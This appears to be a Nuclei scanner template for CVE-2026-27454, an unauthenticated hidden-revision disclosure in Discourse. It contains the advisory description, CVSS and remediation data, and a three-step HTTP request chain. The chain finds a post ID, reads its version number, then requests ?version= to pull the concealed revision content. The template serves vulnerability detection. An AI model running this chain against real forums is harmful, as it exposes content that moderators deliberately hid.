id: CVE-2026-27454 info: name: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass author: str4k3r severity: medium description: | Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first. impact: | An unauthenticated visitor can retrieve the contents of a hidden post revision that moderators intended to conceal from public viewers. remediation: | Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later. reference: - https://github.com/discourse/discourse/security/advisories/GHSA-fq69-f929-wp96 - https://github.com/discourse/discourse/commit/8510fde30eb0d7f2dee822a95f6cf43b9ac943d0 - https://nvd.nist.gov/vuln/detail/CVE-2026-27454 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2026-27454 epss-score: 0.00993 epss-percentile: 0.62268 cwe-id: CWE-862 metadata: verified: true max-request: 3 vendor: discourse product: discourse tags: cve,cve2026,discourse,idor,exposure,unauth flow: http(1) && http(2) && http(3) http: - raw: - | GET /posts.json HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "latest_posts")' - 'status_code == 200' condition: and internal: true extractors: - type: regex name: post_id part: body internal: true group: 1 regex: - '"latest_posts":\[\{"id":(\d+)' - raw: - | GET /posts/{{post_id}}.json HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "\"version\"")' - 'status_code == 200' condition: and internal: true extractors: - type: regex name: pub_version part: body internal: true group: 1 regex: - '"version":(\d+)' - raw: - | GET /posts/{{post_id}}.json?version={{pub_version}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - '!contains(body, "invalid_access")' - 'contains(body, "\"cooked\"")' - 'status_code == 200' condition: and # digest: 4a0a004730450221008029586341e751fa02291e301c3112bc54ece3ee83ea0ba08ee65a48a288c1890220428876f42d348c2a848babecbec9eb7d50a22c6e6f04f62509b8068149b0157b:922c64590222798bb761d5b6d8e72950